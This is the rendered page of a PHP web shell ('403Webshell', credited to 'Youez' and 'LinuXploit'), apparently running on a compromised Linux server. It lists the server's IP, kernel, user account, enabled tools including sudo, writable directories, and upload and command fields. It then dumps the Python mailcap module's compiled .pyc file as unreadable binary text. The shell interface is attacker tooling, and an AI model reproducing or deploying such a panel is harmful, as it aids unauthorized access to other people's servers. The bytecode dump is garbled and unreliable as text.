403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.217.113
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.5/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.5/__pycache__/mailcap.cpython-35.pyc


+c`
�@s�dZddlZddgZdd�Zdd�Zdd	�Zd
d�Zdd
�Zddgdd�Zddd�Z	gdd�Z
dd�Zdd�Zdd�Z
edkr�e�dS)z%Mailcap file handling.  See RFC 1524.�N�getcaps�	findmatchcCs�i}x�t�D]�}yt|d�}Wntk
r@wYnX|�t|�}WdQRXxE|j�D]7\}}||kr�|||<qh|||||<qhWqW|S)a�Return a dictionary containing the mailcap database.

    The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain')
    to a list of dictionaries corresponding to mailcap entries.  The list
    collects all the entries for that MIME type from all available mailcap
    files.  Each dictionary contains key-value pairs for that MIME type,
    where the viewing command is stored with the key "view".

    �rN)�listmailcapfiles�open�OSError�readmailcapfile�items)�capsZmailcap�fpZmorecaps�key�value�r�/usr/lib/python3.5/mailcap.pyr	s


cCspdtjkr1tjd}|jtj�}n;dtjkrPtjd}nd}|ddddg}|S)z7Return a list of all mailcap files found on the system.ZMAILCAPS�HOME�.z	/.mailcapz/etc/mailcapz/usr/etc/mailcapz/usr/local/etc/mailcap)�os�environ�split�pathsep)ZpathstrZmailcapsZhomerrrr"s

rcCs;i}x.|j�}|sP|ddks	|j�dkrAq	|}xF|d	d�dkr�|j�}|sxd}|dd
�|}qJWt|�\}}|o�|s�q	|jd�}x.tt|��D]}||j�||<q�Wdj|�j�}||kr&||j|�q	|g||<q	W|S)a�Read a mailcap file and return a dictionary keyed by MIME type.

    Each MIME type is mapped to an entry consisting of a list of
    dictionaries; the list will contain more than one such dictionary
    if a given MIME type appears more than once in the mailcap file.
    Each dictionary contains key-value pairs for that MIME type, where
    the viewing command is stored with the key "view".
    r�#��Nz\
�
�/���r)	�readline�strip�	parseliner�range�len�join�lower�append)rr
�lineZnextliner�fields�types�jrrrr5s0	"rc
Cs1g}dt|�}}x?||krZt|||�\}}|j|�|d}qWt|�dkrqdS|d|d|dd�}}}d|i}x�|D]y}|jd�}|dkr�|}d}	n0|d|�j�}||dd�j�}	||krq�|	||<q�W||fS)	z�Parse one entry in a mailcap file and return a dictionary.

    The viewing command is stored as the value with the key "view",
    and the rest of the fields produce key-value pairs in the dict.
    r�rN�view�=r)NN)r �
parsefieldr#�findr)
r$r%�i�n�fieldrr)�restZfkeyZfvaluerrrr[s*
&
	rcCsp|}xM||krU||}|dkr/Pq	|dkrH|d}q	|d}q	W|||�j�|fS)z/Separate one key-value pair in a mailcap entry.�;�\rr()r)r$r-r.�start�crrrr+zs

r+r)z	/dev/nullc	Cs�t|||�}xn|D]f}d|kr_t|d||�}|r_tj|�dkr_qt|||||�}||fSWdS)aFind a match for a mailcap entry.

    Return a tuple containing the command line, and the mailcap entry
    used; (None, None) if no match is found.  This may invoke the
    'test' command of several matching entries before deciding which
    entry to use.

    �testrN)NN)�lookup�substr�system)	r
�MIMEtyper�filename�plist�entries�er5�commandrrrr�s	
cs�g}||kr |||}|jd�}|dd}||krW|||}�dk	r|�fdd�|D�}|S)Nrrz/*cs"g|]}�|kr|�qSrr)�.0r=)rrr�
<listcomp>�s	zlookup.<locals>.<listcomp>)r)r
r9rr<Z	MIMEtypesr)rrr6�sr6c
Cscd}dt|�}}xC||kr^||}|d}|dkr|dkrr|||d�}|d}||}q||}|d}|dkr�||}q|dkr�||}q|dkr�||}q|dkrM|}x*||kr||d	kr|d}q�W|||�}	|d}|t|	|�}q|d|}qW|S)
Nrrr(�%r2�s�t�{�})r �	findparam)
r/r9r:r;Zresr-r.r4r3�namerrrr7�s6









r7cCs[|j�d}t|�}x8|D]0}|d|�j�|kr#||d�Sq#WdS)Nr*r)r"r )rGr;r.�prrrrF�s
rFc	Csddl}t�}|jdd�s6t|�dSx�tdt|j�d�D]�}|j||d�}t|�dkr�td�dS|d}|d}t||d|�\}}|s�tdt�qRtd|�t	j
|�}|rRtd|�qRWdS)	Nrr(rz"usage: mailcap [MIMEtype file] ...r)zNo viewer found forz
Executing:zExit status:)�sysr�argv�showrr �printr�typerr8)	rIr
r-�argsr9�filer>r=�stsrrrr5�s&	
"



r5cCs�td�xt�D]}td|�qWt�|sBt�}td�t�t|�}xl|D]d}t|�||}xG|D]?}t|�}x#|D]}td|||�q�Wt�q�WqfWdS)NzMailcap files:�	zMailcap entries:z  %-15s)rLrr�sorted)r
�fnZckeysrMr<r=�keys�krrrrK�s"
	





rK�__main__)�__doc__r�__all__rrrrr+rr6r7rFr5rK�__name__rrrr�<module>s& 

Youez - 2016 - github.com/yon3zu
LinuXploit